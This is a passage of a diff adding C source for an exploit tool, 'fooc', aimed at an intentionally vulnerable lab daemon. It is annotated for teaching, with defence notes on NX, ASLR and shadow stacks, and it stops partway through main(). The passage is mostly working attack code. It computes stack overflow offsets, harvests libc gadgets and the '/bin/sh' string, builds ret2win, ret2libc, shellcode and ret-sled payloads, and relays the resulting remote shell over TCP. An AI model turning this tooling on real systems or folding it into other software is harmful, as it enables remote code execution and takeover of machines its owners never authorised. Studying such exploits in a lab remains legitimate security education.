+ * The buffer reference: "lea -0x50(%rbp),%rcx". + * + * We only accept a lea that (a) occurs *before* the call to read() and + * (b) reaches deepest below rbp. Condition (a) is what disambiguates + * `buf` from the other local array (`line`, at rbp-0xd0) whose address + * is also computed with a lea later in the same function. + * + * sscanf on "%*[^0-9]" style masks keeps this readable; we just need + * the -0xNN that appears immediately after "%rbp". + */ + if (!saw_read && !have_off) { + const char *p = strstr(line, "%rbp)"); + if (p != NULL && strstr(line, "lea") != NULL) { + /* Back up over ",%rcx" etc. to find the '-0xNN' displacement. */ + const char *q = line; + char disp[32]; + int d = 0; + while (q < p && *q != '-') + q++; + if (q < p) { + const char *h = q; + while (h < p && d < (int)sizeof(disp) - 1) { + if (isxdigit((unsigned char)*h) || *h == '-' || *h == 'x' || + *h == '+') + disp[d++] = *h++; + else + break; + } + disp[d] = '\0'; + if (d > 0) { + /* + * The displacement in the disassembly is written + * "-0x50" to mean "50 bytes below rbp", but strtol + * faithfully returns -80. What we actually want is the + * *distance*, so take the absolute value here and + * document the sign at the point of use. + */ + best_off = labs(strtol(disp, NULL, 0)); + have_off = 1; /* First one wins: that's `buf`. */ + } + } + } + } + } + + status = pclose(pp); + (void)status; /* We validate by checking we actually found things. */ + + if (out->vuln_addr == 0 || out->win_addr == 0 || !have_off) { + fprintf(stderr, + "fooc: could not fully analyse '%s'.\n" + " vuln=0x%lx win=0x%lx buf_off=%ld\n" + " Is this really the food binary? Is objdump installed?\n", + path, out->vuln_addr, out->win_addr, best_off); + return -1; + } + + /* + * THE key computation. buf lives `best_off` bytes below the saved frame + * pointer; the saved return address is 8 bytes above that. So: + */ + out->frame_off = (unsigned long)best_off; + if (best_off < 0) { + fprintf(stderr, + "fooc: the buffer displacement parsed as %ld, which is not a\n" + " plausible distance below rbp. Refusing to guess.\n" + " (If food was rebuilt with a different optimiser, the\n" + " disassembly shape may have changed.)\n", best_off); + return -1; + } + out->rip_off = (unsigned long)best_off + 8UL; + + return 0; +} + +/* ------------------------------------------------------------------------- */ +/* Step 2: introspect our own libc to learn the offsets we will need */ +/* ------------------------------------------------------------------------- */ + +/* + * The problem: the target's libc is at some address chosen by ASLR, and we do + * not know it. But *our* libc is the very same file, mapped somewhere we can + * discover, and its internal layout is identical. + * + * So the trick is: measure the *offsets* here, and add them to the target's + * base. Concretely, if in our process `system` lives at + * + * &system - libc_base + * + * and food leaked us its `read`, and we also know `read`'s offset, then + * + * food_libc_base = food_read_addr - off_read + * food_system = food_libc_base + off_system + * + * This delta-arithmetic trick is used by essentially every real-world + * exploit, because it survives libc being updated as long as the offsets we + * use are unchanged. It is also why "rebase the binaries" is a real and + * effective mitigation: it moves the target's base, which invalidates every + * offset the attacker measured. + */ +static int analyse_libc(struct libcinfo *out) +{ + FILE *f; /* /proc/self/maps. */ + char line[512]; /* One line of maps at a time. */ + unsigned long lo, hi; /* Address range of the current mapping. */ + unsigned long rx_lo = 0, rx_hi = 0; /* libc's executable range. */ + unsigned long ro_lo[32], ro_hi[32]; /* libc's read-only ranges. */ + int n_ro = 0; /* How many read-only ranges we collected. */ + int memfd; /* /proc/self/mem, for reading live memory. */ + void *p; /* A generic pointer, for dlsym results. */ + + memset(out, 0, sizeof(*out)); + + /* ---- 2a. Find libc's load address and its mapped ranges. ------------- */ + f = fopen("/proc/self/maps", "r"); + if (f == NULL) { + fprintf(stderr, "fooc: cannot open /proc/self/maps: %s\n", + strerror(errno)); + return -1; + } + + while (fgets(line, sizeof(line), f) != NULL) { + if (strstr(line, "libc.so.6") == NULL) + continue; + + if (sscanf(line, "%lx-%lx", &lo, &hi) != 2) + continue; + + /* + * The *lowest* libc mapping is the load base. The kernel maps a shared + * object with several separate segments (r--p, r-xp, r--p, rw-p), and + * the base is where the first one starts. + */ + if (out->base == 0 || lo < out->base) + out->base = lo; + + /* Executable text: where gadgets and real functions live. */ + if (strstr(line, "r-xp") != NULL) { + rx_lo = lo; + rx_hi = hi; + } + + /* Read-only data: where string constants like "/bin/sh" live. */ + if (strstr(line, "r--p") != NULL && n_ro < 32) { + ro_lo[n_ro] = lo; + ro_hi[n_ro] = hi; + n_ro++; + } + } + fclose(f); + + if (out->base == 0 || rx_hi == 0) { + fprintf(stderr, "fooc: could not locate libc in /proc/self/maps\n"); + return -1; + } + + /* ---- 2b. Ask the dynamic linker for two function offsets. ----------- */ + /* + * dlsym(RTLD_DEFAULT, ...) searches the global symbol scope and returns an + * absolute runtime address. Subtracting the base yields the portable + * offset. (We deliberately do NOT hardcode 0x54530 for system(): that + * number is specific to glibc 2.44 and would break on any other build.) + */ + p = dlsym(RTLD_DEFAULT, "system"); + if (p == NULL) { fprintf(stderr, "fooc: no system()\n"); return -1; } + out->off_system = (unsigned long)p - out->base; + + p = dlsym(RTLD_DEFAULT, "read"); + if (p == NULL) { fprintf(stderr, "fooc: no read()\n"); return -1; } + out->off_read = (unsigned long)p - out->base; + + /* ---- 2c. Read our own libc text out of memory and hunt for gadgets. -- */ + memfd = open("/proc/self/mem", O_RDONLY); + if (memfd < 0) { + fprintf(stderr, "fooc: cannot open /proc/self/mem: %s\n", + strerror(errno)); + return -1; + } + + /* + * `pop rdi ; ret` is the two-byte sequence 5f c3. It is the gadget that + * makes ret2libc work: it lets us "pass" the first function argument. + * There is no equivalent in `food` itself at -O0, which is why we borrow + * one from libc. + * + * Note we search the *mapped memory*, not the file on disk. A file offset + * and a virtual address are not interchangeable -- shared objects are + * mapped at a page-aligned base and the first executable segment is + * typically a whole page (4 KiB) further on than its file offset suggests. + */ + { + size_t sz = (size_t)(rx_hi - rx_lo); + unsigned char *text = malloc(sz); + if (text == NULL) { close(memfd); return -1; } + + if (pread(memfd, text, sz, (off_t)rx_lo) == (ssize_t)sz) { + unsigned char *hit = memmem(text, sz, "\x5f\xc3", 2); + if (hit != NULL) { + /* Convert "offset within this segment" to "offset from base". */ + out->off_poprdi = (unsigned long)(hit - text) + + (rx_lo - out->base); + } + } + free(text); + } + + /* ---- 2d. Hunt for the "/bin/sh" string constant. ------------------- */ + /* + * Rather than hardcode its offset (it moves between glibc versions), we + * scan the read-only segments for the literal bytes. The first match is + * the canonical one -- the very first "/bin/sh" in .rodata -- and it works + * because it is passed to execve/system as argv[0]. + */ + for (int i = 0; i < n_ro && out->off_binsh == 0; i++) { + size_t sz = (size_t)(ro_hi[i] - ro_lo[i]); + unsigned char *ro = malloc(sz); + if (ro == NULL) + break; + if (pread(memfd, ro, sz, (off_t)ro_lo[i]) == (ssize_t)sz) { + unsigned char *hit = memmem(ro, sz, "/bin/sh", 7); + if (hit != NULL) + out->off_binsh = (unsigned long)(hit - ro) + + (ro_lo[i] - out->base); + } + free(ro); + } + + close(memfd); + + if (out->off_poprdi == 0 || out->off_binsh == 0) { + fprintf(stderr, + "fooc: failed to locate gadgets/strings in libc " + "(pop-rdi-ret=0x%lx /bin/sh=0x%lx)\n", + out->off_poprdi, out->off_binsh); + return -1; + } + + return 0; +} + +/* ------------------------------------------------------------------------- */ +/* Step 3: networking */ +/* ------------------------------------------------------------------------- */ + +/* + * connect_to() -- open a TCP connection to host:port. Textbook, and correct. + * + * We connect to 127.0.0.1 by default, so this lab never leaves the machine + * unless you deliberately point -h somewhere else. + */ +static int connect_to(const char *host, int port) +{ + struct sockaddr_in sa; /* The address we will connect to. */ + int fd; /* The socket. */ + int one = 1; + + fd = socket(AF_INET, SOCK_STREAM, 0); + if (fd < 0) { + fprintf(stderr, "fooc: socket: %s\n", strerror(errno)); + return -1; + } + setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + + memset(&sa, 0, sizeof(sa)); + sa.sin_family = AF_INET; + sa.sin_port = htons((uint16_t)port); + if (inet_pton(AF_INET, host, &sa.sin_addr) != 1) { + fprintf(stderr, "fooc: bad address '%s'\n", host); + close(fd); + return -1; + } + + if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + fprintf(stderr, "fooc: connect %s:%d: %s\n", host, port, strerror(errno)); + close(fd); + return -1; + } + return fd; +} + +/* + * send_all() -- write the whole buffer, looping over short writes. + * A stream socket accepts a partial write at any time; assuming otherwise is a + * classic source of flaky exploits. + */ +static int send_all(int fd, const void *buf, size_t n) +{ + const unsigned char *p = buf; /* Walk the buffer as we send. */ + size_t sent = 0; /* Bytes handed to the kernel so far. */ + while (sent < n) { + ssize_t w = write(fd, p + sent, n - sent); + if (w < 0) { + if (errno == EINTR) + continue; /* Signal: retry the same bytes. */ + return -1; + } + sent += (size_t)w; + } + return 0; +} + +/* + * write_nb() -- write the whole buffer to a descriptor that may be + * non-blocking, retrying on EAGAIN. + * + * send_all() above assumes a blocking descriptor, which is true while we are + * blasting the payload. The relay loop cannot use it: it deliberately sets + * O_NONBLOCK so poll() stays responsive, and a non-blocking write() is allowed + * to accept only part of the buffer, or none of it, purely because the kernel's + * buffer is momentarily full. Retrying on EAGAIN is what makes a short write a + * non-event rather than a silent truncation of the user's keystrokes. + */ +static int write_nb(int fd, const void *buf, size_t n) +{ + const unsigned char *p = buf; + size_t sent = 0; + + while (sent < n) { + ssize_t w = write(fd, p + sent, n - sent); + if (w > 0) { + sent += (size_t)w; + continue; + } + if (w < 0 && (errno == EINTR)) + continue; /* Retry the same bytes. */ + if (w < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) { + /* Wait for the descriptor to drain, then try again. */ + struct pollfd p; + p.fd = fd; + p.events = POLLOUT; + p.revents = 0; + if (poll(&p, 1, 1000) <= 0 && errno != EINTR) + return -1; /* Timed out: treat as failure. */ + continue; + } + return -1; /* Real error. */ + } + return 0; +} + +/* + * read_until() -- read from the socket until we have seen every pattern in + * `pats`, or until RECV_MAX bytes / a timeout. + * + * Why not a simple line-based protocol? Because we do not fully control the + * daemon's output format, and a robust client should not assume it. This + * accumulates bytes and re-scans the whole buffer after each read, which is + * simple and immune to the banner being split across TCP segments -- a real + * and frequently-missed detail. + */ +static int read_until(int fd, const char *const *pats, int npats, char *out, + size_t outsz) +{ + size_t got = 0; /* Bytes collected so far. */ + int missing = npats; /* How many patterns we have not seen. */ + + while (missing > 0 && got + 1 < outsz && got < RECV_MAX) { + ssize_t r = read(fd, out + got, outsz - got - 1); + if (r <= 0) { + if (r < 0 && errno == EINTR) + continue; + break; /* EOF or error: stop, use what we got. */ + } + got += (size_t)r; + out[got] = '\0'; + + /* Re-count which patterns are present. */ + missing = 0; + for (int i = 0; i < npats; i++) + if (strstr(out, pats[i]) == NULL) + missing++; + } + + out[got < outsz ? got : outsz - 1] = '\0'; + return (missing == 0) ? 0 : -1; +} + +/* + * parse_leaks() -- pull the three hex addresses out of the daemon's banner. + * + * The daemon prints, in order: + * FOOD 1.0 leak stack=0x... libc=0x... + * BUF=0x... + * + * strstr finds each key, then strtoul with base 0 parses the "0x..." that + * follows. strtoul with base 0 auto-detects hex vs decimal vs octal, which + * is the right default when the input is untrusted. + */ +static int parse_leaks(const char *text, struct leaks *out) +{ + const char *p; + + memset(out, 0, sizeof(*out)); + + if ((p = strstr(text, "stack=")) != NULL) + out->stack = strtoul(p + 6, NULL, 0); + if ((p = strstr(text, "libc=")) != NULL) + out->libc_read = strtoul(p + 5, NULL, 0); + if ((p = strstr(text, "BUF=")) != NULL) + out->buf = strtoul(p + 4, NULL, 0); + + if (out->libc_read == 0 || out->buf == 0) { + fprintf(stderr, + "fooc: the daemon did not leak what we expected.\n" + " stack=0x%lx libc=0x%lx BUF=0x%lx\n" + " Did you run the current ./food? Is it v1.0?\n", + out->stack, out->libc_read, out->buf); + return -1; + } + return 0; +} + +/* ------------------------------------------------------------------------- */ +/* Step 4: payload construction */ +/* ------------------------------------------------------------------------- */ + +/* A growable byte buffer, so we can build a payload without a fixed cap. */ +struct pbuf { + unsigned char *data; + size_t len; + size_t cap; +}; + +static int pbuf_reserve(struct pbuf *p, size_t extra) +{ + if (p->len + extra <= p->cap) + return 0; /* Already have room. */ + size_t ncap = p->cap ? p->cap * 2 : 256; + while (ncap < p->len + extra) + ncap *= 2; + unsigned char *nd = realloc(p->data, ncap); + if (nd == NULL) + return -1; + p->data = nd; + p->cap = ncap; + return 0; +} + +/* Append a single byte. */ +static int pbuf_u8(struct pbuf *p, unsigned char b) +{ + if (pbuf_reserve(p, 1) < 0) + return -1; + p->data[p->len++] = b; + return 0; +} + +/* + * Append a 64-bit little-endian word. + * + * x86-64 is little-endian, so this is simply the 8 bytes of the value in + * memory order. Writing them by hand (rather than memcpy'ing a uint64_t) is + * deliberate: it makes the byte order explicit, and it is correct on any host + * you compile on -- so the exploit can be built on one machine and fired from + * another, which matters for a portable tool. + */ +static int pbuf_u64(struct pbuf *p, unsigned long v) +{ + for (int i = 0; i < 8; i++) + if (pbuf_u8(p, (unsigned char)((v >> (8 * i)) & 0xffUL)) < 0) + return -1; + return 0; +} + +/* Append N padding bytes. */ +static int pbuf_pad(struct pbuf *p, size_t n) +{ + if (pbuf_reserve(p, n) < 0) + return -1; + memset(p->data + p->len, PAD_BYTE, n); + p->len += n; + return 0; +} + + +/* ------------------------------------------------------------------------- */ +/* Step 5: the shell */ +/* ------------------------------------------------------------------------- */ + +/* + * drain_hint() -- non-blockingly print anything the daemon already said. + * + * A failed exploit produces a diagnostic ("no hijack") and a closed socket. + * We want to show that text *before* handing the terminal to /bin/sh, rather + * than letting it scroll away or be eaten as if it were shell output. + */ +static void drain_hint(int fd) +{ + char buf[1024]; + int flags = fcntl(fd, F_GETFL, 0); /* Remember blocking state. */ + ssize_t n; + + if (flags == -1) + return; + fcntl(fd, F_SETFL, flags | O_NONBLOCK); /* Switch to non-blocking. */ + + n = read(fd, buf, sizeof(buf) - 1); + if (n > 0) { + buf[n] = '\0'; + fputs(buf, stdout); /* Show the daemon's last word. */ + fflush(stdout); + } + + fcntl(fd, F_SETFL, flags); /* Restore blocking. */ +} + +/* + * relay_stdio() -- splice the real terminal and the network socket together. + * + * Runs in a forked child, and multiplexes both directions with poll(): + * + * terminal -> socket : the user's keystrokes + * socket -> terminal : the victim shell's output + * + * WHY ONE PROCESS AND NOT TWO + * --------------------------- + * The textbook version forks twice, giving each direction its own blocking + * copy loop. That works, and it was the first version of this code -- but two + * processes writing to the same terminal interleave their output at + * arbitrary boundaries, so a `4096`-byte write from one could land in the + * middle of a line from the other. In practice you get mangled output like + * + * 7-artix1-1 + * inux 7.2.7-artix1-1 + * + * where a single `uname` line has been cut in half and the pieces printed + * twice. A single poll() loop is strict alternation -- one descriptor is + * serviced to completion before the next is looked at -- so output stays in + * order and the interleaving bug cannot exist. + * + * The trade-off is that poll() on a *blocking* descriptor can still stall one + * direction behind the other, so both descriptors must be non-blocking; poll() + * then tells us which has data instead of us guessing. That is the standard + * multiplexing shape and it is correct here because we are not waiting for + * protocol semantics, just for bytes to move. + * + * SIGINT/SIGQUIT: the shell runs in the other process, so Ctrl-C typed at the + * terminal is forwarded as a *byte* (0x03) to the remote shell rather than + * being delivered to us as a signal. That is the correct behaviour -- the + * victim should be the one interrupted -- but it means this process has + * nothing to stop it, so the loop ends on EOF instead. + */ +static void relay_stdio(int sock) +{ + struct pollfd pfd[2]; + char buf[4096]; + int saved[2] = { -1, -1 }; /* Original blocking flags, to restore. */ + int saved_sock; /* Ditto for the socket. */ + + /* Both ends must be non-blocking, or poll() would block in the read() + * rather than returning control to us. save/restore keeps the socket's + * mode intact for the shell process, which still expects a normal socket. */ + for (int i = 0; i < 2; i++) { + saved[i] = fcntl(i, F_GETFL, 0); + if (saved[i] != -1) + fcntl(i, F_SETFL, saved[i] | O_NONBLOCK); + } + saved_sock = fcntl(sock, F_GETFL, 0); + if (saved_sock != -1) + fcntl(sock, F_SETFL, saved_sock | O_NONBLOCK); + + pfd[0].fd = STDIN_FILENO; /* our terminal */ + pfd[0].events = POLLIN; + pfd[1].fd = sock; /* the network */ + pfd[1].events = POLLIN; + + for (;;) { + int n = poll(pfd, 2, -1); /* -1: block until something moves. */ + ssize_t r; + + if (n < 0) { + if (errno == EINTR) + continue; /* a signal is not an error here. */ + break; + } + if (n == 0) + continue; + + if (pfd[0].revents & POLLIN) { + r = read(STDIN_FILENO, buf, sizeof(buf)); + if (r > 0) { + if (write_nb(sock, buf, (size_t)r) < 0) + break; + } else if (r == 0) { + /* + * Terminal EOF: the user pressed Ctrl-D, or the test harness + * closed the pty. Half-close the socket so the remote shell + * sees end-of-input and exits on its own terms rather than + * hanging until we are killed. A plain close() would not do: + * the socket is shared with the shell process, and closing it + * here would yank the terminal out from under it. + */ + shutdown(sock, SHUT_WR); + break; + } + } + + if (pfd[1].revents & (POLLIN | POLLHUP | POLLERR)) { + r = read(sock, buf, sizeof(buf)); + if (r > 0) { + if (write_nb(STDOUT_FILENO, buf, (size_t)r) < 0) + break; + } else { + break; /* EOF or error: session is over. */ + } + } + } + + /* Put the descriptors back the way we found them. This process is about + * to _exit(), so strictly it does not matter -- but the socket is shared + * with the shell in the parent, and leaving a surprise behind in shared + * state is exactly the habit that turns into a real bug in real code. */ + for (int i = 0; i < 2; i++) + if (saved[i] != -1) + fcntl(i, F_SETFL, saved[i]); + if (saved_sock != -1) + fcntl(sock, F_SETFL, saved_sock); +} + +/* + * become_shell() -- sit between the user's terminal and the victim shell. + * + * WHERE THE SHELL ACTUALLY IS + * --------------------------- + * The hard-won lesson of this function: there is NO shell on this side. There + * is exactly one shell in the whole picture, and it is running on the victim, + * inside `food`'s hijacked process, with the TCP connection as its stdin, + * stdout and stderr. We already have it. It is already interactive. The RCE is + * finished the moment its prompt appears. + * + * So all this side has to do is move bytes: + * + * terminal <------> TCP socket <------> victim's /bin/sh + * + * Anything more is a bug. Both earlier versions of this code were: + * + * VERSION 1: dup2 the socket onto our own 0/1/2, then execv a local sh. + * The terminal became unreachable -- you typed into a descriptor nobody + * was reading -- so the session was deaf and mute. A shell you cannot + * type at, connected to nothing. + * + * VERSION 2: the three dup2s, plus a forked child relaying the terminal. + * This one was subtler and far more convincing, because it mostly worked: + * you got a prompt, commands ran, output appeared. But the local shell and + * the relay child were BOTH reading from the same socket, and the kernel + * does not care that they are cooperating -- it just hands each arriving + * chunk to whichever reader's read() lands first. The local shell, being + * an interactive login shell, read exactly ONE byte and discarded it. + * Every single time. + * + * The symptom was pure sorcery: the victim's output arrived with its first + * character missing. "uid=1000(hanez)" printed as "id=1000(hanez)"; + * "PWNED-OK" printed as "WNED-OK"; "Linux 7.2.7" printed as "inux 7.2.7". + * The pty was not dropping bytes, the shell was not misbehaving, and the + * exploit was working perfectly -- one byte per chunk was being eaten by a + * process that had no business reading that descriptor. `strace -f` showed + * * it immediately: the shell's read(0, "u", 1) interleaved with the + * relay's read(sock, "id=1000...", 310). + * + * One lesson worth more than the exploit: on a stream socket, "two + * processes sharing a descriptor" means "bytes split unpredictably between + * them", not "one reads, one writes". A descriptor has exactly one read + * cursor, and every reader on it moves that cursor. If you need two + * consumers of a byte stream, that stream has to be demultiplexed by a + * single reader that then distributes the bytes deliberately. + */ +static void become_shell(int fd) +{ + pid_t relay; + + printf("fooc: the shell is on the victim; relaying this terminal to it\n"); + + /* + * Fork the relay. The child owns the byte-moving; this process just waits + * for it so we do not exit and orphan the session. Nothing here should + * touch `fd` -- a single reader of the socket is the entire point. + */ + relay = fork(); + if (relay < 0) { + fprintf(stderr, "\nfooc: fork() failed: %s\n", strerror(errno)); + fprintf(stderr, "fooc: cannot relay the session; the payload has\n" + " still landed, so the shell exists on the\n" + " victim -- this terminal just cannot reach it.\n"); + return; + } + + if (relay == 0) { + relay_stdio(fd); + _exit(0); + } + + /* + * Parent: wait for the session to end, then collect the child. Nothing + * reads the socket here, on purpose. If the user hits Ctrl-D, or types + * `exit`, the victim shell closes the connection, the relay's read() + * returns 0, the relay exits, and waitpid() reaps it. + * + * waitpid() is interrupted by signals (SIGCHLD from anything else, or a + * terminal-generated SIGWINCH as you resize the window), so the loop + * retries rather than returning early and orphaning the child. + */ + for (;;) { + int status; + pid_t r = waitpid(relay, &status, 0); + if (r == relay) + break; + if (r < 0 && errno == EINTR) + continue; + if (r < 0) { + fprintf(stderr, "\nfooc: waitpid: %s\n", strerror(errno)); + break; + } + } + + close(fd); + printf("\nfooc: session closed.\n"); +} + +/* ------------------------------------------------------------------------- */ +/* The techniques */ +/* ------------------------------------------------------------------------- */ + +/* + * TECHNIQUE 1 -- ret2win + * --------------------------------------------------------------------------- + * The simplest possible proof of arbitrary code execution. + * + * [ 88 bytes of junk ][ address of food's win() ] + * ^ saved rbp + * ^ becomes RIP + * + * win() exists in the target binary, so we do not need to know anything about + * ASLR -- only the binary's own link address, which is fixed because food is + * built -no-pie. This is the "control the instruction pointer" milestone. + * + * DEFENCE NOTE: in real software the equivalent mistake is shipping a + * "diagnostic" or "maintenance backdoor" entry point in a networked binary. + * If win() is in the binary, a buffer overflow will find it. (It is also why + * this technique is now much rarer: -fno-pie, or more often just an + * attacker-supplied `__libc_start_main` hook, is what modern attacks use.) + */ +static void build_ret2win(struct pbuf *p, const struct bininfo *bi) +{ + pbuf_pad(p, bi->rip_off); /* Fill buf + saved rbp. */ + pbuf_u64(p, bi->win_addr); /* Overwrite the return address. */ +} + +/* + * TECHNIQUE 2 -- ret2libc + * --------------------------------------------------------------------------- + * Suppose the binary contains nothing useful. No problem: libc is full of + * useful functions, and we can call any of them. + * + * [ junk ][ pop rdi; ret ][ address of "/bin/sh" ][ address of system ] + * ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + * sets rdi to the string we want the function to call + * point at passed as argv[0] + * + * Step by step, at execution time: + * 1. `ret` in food pops pop_rdi into RIP; RSP now points at the "/bin/sh" + * address. + * 2. `pop rdi` loads that address into RDI (the first argument register) + * and advances RSP to the system() address. + * 3. `ret` pops system() into RIP. RDI still holds the string. + * 4. system() executes "/bin/sh". Because food dup2'd the socket onto + * fds 0/1/2 earlier, the shell is interactive over the network. + * + * The important idea: we never needed to know the address of system() in + * advance. We used a *gadget already in libc* to construct a call we could + * not have written ourselves. + * + * DEFENCE NOTE: ret2libc is defeated by ASLR, because we would have to guess + * libc's base. Our leak is what defeats ASLR here. Modern Linux also enables + * CET (shadow stack) on supported CPUs, which keeps a hardware copy of the + * return address on a separate stack; a mismatched `ret` faults immediately. + */ +static void build_ret2libc(struct pbuf *p, const struct bininfo *bi, + const struct libcinfo *li, const struct leaks *lk) +{ + /* + * Derive the target's libc base from the leaked `read` pointer, then add + * our own measured offsets. All the arithmetic ASLR would otherwise + * randomise happens right here, on our side, where we have the leaks. + */ + unsigned long base = lk->libc_read - li->off_read; + unsigned long system = base + li->off_system; + unsigned long binsh = base + li->off_binsh; + unsigned long poprdi = base + li->off_poprdi; + + printf("fooc: libc base = %#lx (from leaked read %#lx - %#lx)\n", + base, lk->libc_read, li->off_read); + printf("fooc: system = %#lx\n", system); + printf("fooc: \"/bin/sh\" = %#lx\n", binsh); + printf("fooc: pop rdi;ret= %#lx\n", poprdi); + + pbuf_pad(p, bi->rip_off); + pbuf_u64(p, poprdi); /* Gadget: load the next 8 bytes into RDI. */ + pbuf_u64(p, binsh); /* Argument to system(). */ + pbuf_u64(p, system); /* The function itself. */ +} + +/* + * TECHNIQUE 3 -- shellcode (the one the brief asks for) + * --------------------------------------------------------------------------- + * Put machine code in the buffer and jump into it. + * + * [ 23-byte shellcode ][ padding ][ address of buf ] + * ^ executes here ^ fills ^ so RIP lands on our code + * the gap + * + * This is the purest form of the bug: the attacker supplies the instructions + * the CPU will execute, not just the address of instructions that already + * exist. No leaked function addresses are needed, so it works against a + * statically linked, fully randomised target. + * + * We need `address of buf`, which we get from the BUF= leak. Without a leak we + * would have to guess a randomised stack address -- see --sled below. + * + * DEFENCE NOTE -- and this is the big one: + * + * *** NX bit (a.k.a. W^X, "no execute") *** + * + * Marking the stack non-executable turns this payload into a crash: the + * hardware refuses to fetch instructions from pages flagged data-only, so + * the `ret` lands on a page that cannot be executed. It is a single CPU + * feature, costs essentially no performance, and on x86-64 it has been + * mandatory since every mainstream OS. It is enabled by default everywhere. + * + * So in practice: on a modern hardened system this exact payload fails, and + * an attacker must return to technique 1 or 2 (run existing code via ROP) + * because they may not introduce new code. That is the whole point of ROP: + * it is what attackers pivot to *because* NX works. + * + * Compile food without -z execstack to watch this fail. See README.md. + */ +static void build_shellcode(struct pbuf *p, const struct bininfo *bi, + const struct leaks *lk) +{ + printf("fooc: buf is at %#lx, placing %d bytes of shellcode there\n", + lk->buf, SHELLCODE_LEN); + + /* + * The shellcode goes at the very start of buf, so execution begins at its + * first byte. Note that the region must be executable -- true here only + * because we compiled the target without -z execstack. + */ + for (int i = 0; i < SHELLCODE_LEN; i++) + pbuf_u8(p, SHELLCODE[i]); + + /* Fill the rest of the run up to the saved return address. */ + size_t used = SHELLCODE_LEN; + if (bi->rip_off > used) + pbuf_pad(p, bi->rip_off - used); + + /* Point RIP at buf. This is the one value that must be exactly right. */ + pbuf_u64(p, lk->buf); +} + +/* + * THE RET SLED -- a deliberate dead end, kept for teaching. + * + * If you had no leak, you could fill the entire overwritable region with the + * address of a `ret` instruction. Wherever the saved return address happens to + * land, the CPU would then "slide" forward, executing `ret` after `ret`, until + * it walked off the end of the sled into your shellcode. It is a brute-force + * attack on ASLR: you send the payload repeatedly until the layout lines up. + * + * Why it does not work here, honestly: food only accepts 512 bytes, and after + * 88 bytes of buffer the sled is at most 424 bytes -- about 53 eight-byte + * slots. ASLR randomises the stack by far more than 2^6 possibilities, so the + * odds of a hit are effectively zero. This is the whole reason the leak in + * food exists, and the reason real-world exploits put so much work into ASLR + * bypasses: a leak turns an unworkable guessing game into arithmetic. + * + * The mode is implemented so you can see the failure, and so you can confirm + * the mechanism is genuinely "the CPU follows a chain of rets". + */ +static void build_sled(struct pbuf *p, const struct bininfo *bi, + const struct leaks *lk) +{ + if (bi->ret_gadget == 0) { + fprintf(stderr, "fooc: no `ret` gadget found in the target binary\n"); + return; + } + printf("fooc: building a %lu-byte ret sled from %#lx\n", + bi->rip_off, bi->ret_gadget); + + /* + * Layout: junk, then the sled, then the shellcode, then one final jump + * into the shellcode. The saved return address is one of the sled + * entries, wherever ASLR's `ret` happens to land. + */ + pbuf_pad(p, bi->rip_off); + for (int i = 0; i < 8; i++) + pbuf_u8(p, SHELLCODE[i]); /* Placeholder; rewritten below. */ + p->len = bi->rip_off; /* Rewind over the placeholder. */ + + /* + * Everything from the saved return address up to 8 bytes from the end is + * filled with the `ret` gadget. The last 8 bytes are the shellcode's + * address, so the final `ret` of the sled lands on the code. + */ + size_t sled_bytes = 384; /* How much sled we can afford. */ + if (sled_bytes < bi->rip_off + 16) + sled_bytes = bi->rip_off + 16; + pbuf_pad(p, sled_bytes); + for (int i = 0; i < SHELLCODE_LEN; i++) + pbuf_u8(p, SHELLCODE[i]); + pbuf_u64(p, lk->buf); /* Where the sled ends up. */ + pbuf_u64(p, bi->ret_gadget); /* One more hop, deterministically.*/ +} + +/* + * OVERFLOW DEMO -- prove the bug without needing a working target address. + * + * Send exactly rip_off + 8 bytes of 0x41. That fills the buffer, fills the + * saved frame pointer, and replaces the return address with + * 0x4141414141414141 -- an address that is certainly not mapped. The CPU + * jumps there, takes a page fault, and the kernel kills the process with + * SIGSEGV. + * + * If this reliably kills `food` while a 64-byte payload does not, you have + * demonstrated the vulnerability and the offset calculation in one shot. + */ +static void build_demo(struct pbuf *p, const struct bininfo *bi) +{ + pbuf_pad(p, bi->rip_off + 8); +} + +/* ------------------------------------------------------------------------- */ +/* main() */ +/* ------------------------------------------------------------------------- */ + +static void usage(const char *a0) +{ + printf( +"fooc -- exploit for the intentionally vulnerable daemon 'food'\n" +"\n" +"usage: %s [options]\n" +"\n" +" -h HOST target address (default %s)\n" +" -p PORT target port (default %d)\n" +" -b PATH target binary to analyse (default %s)\n" +" -t TECH technique:\n" +" ret2win jump to win() in the target [default]\n" +" ret2libc call system(\"/bin/sh\") in libc\n" +" shellcode run our own execve() shellcode\n" +" sled ret sled + shellcode (no leak; ~always fails)\n" +" demo overflow with junk only, expect SIGSEGV\n" +" leak just print the leaks, send no payload\n" +" -i drop into an interactive shell after the payload lands\n" +" (default for ret2win/ret2libc/shellcode)\n" +" -n do NOT become a shell; just send the payload and report\n" +" -v verbose: dump the payload and every address\n" +"\n" +"examples:\n" +" %s -t leak # see what food tells us\n" +" %s -t demo -v # prove the overflow exists\n" +" %s -t ret2win -i # easiest working shell\n" +" %s -t ret2libc -i # call libc's system()\n" +" %s -t shellcode -i # run raw machine code\n" +"\n" +"Only point -h at a machine you own or are authorised to test.\n", + a0, FOOC_HOST, FOOC_PORT, FOOC_BIN, a0, a0, a0, a0, a0); +} + +int main(int argc, char **argv) +{ + const char *host = FOOC_HOST; /* -h */ + const char *binpath = FOOC_BIN; /* -b */ + const char *tech = "ret2win"; /* -t */ + int port = FOOC_PORT; /* -p */ + int verbose = 0; /* -v */ + int want_shell = -1; /* -i / -n */ + int fd; /* The socket to the victim. */ + int o; /* getopt() index. */ + struct bininfo bi; /* What we learned from the binary. */ + struct libcinfo li; /* What we learned from libc. */ + struct leaks lk; /* What the victim told us. */ + struct pbuf p = { NULL, 0, 0 }; /* The payload under construction. */ + char rx[RECV_MAX]; /* Banner + leak text. */ + int is_leak = 0; /* -t leak: diagnostics only. */ + + while ((o = getopt(argc, argv, ":h:p:b:t:inv")) != -1) { + switch (o) { + case 'h': host = optarg; break; + case 'p': port = atoi(optarg); break; + case 'b': binpath = optarg; break; + case 't': tech = optarg; break; + case 'i': want_shell = 1; break; + case 'n': want_shell = 0; break; + case 'v': verbose = 1; break; + default: usage(argv[0]); return 2; + } + } + + /* ---- Phase 1: learn everything we can without touching the network. -- */ + if (analyse_binary(binpath, &bi) < 0) + return 1; + + if (analyse_libc(&li) < 0) + 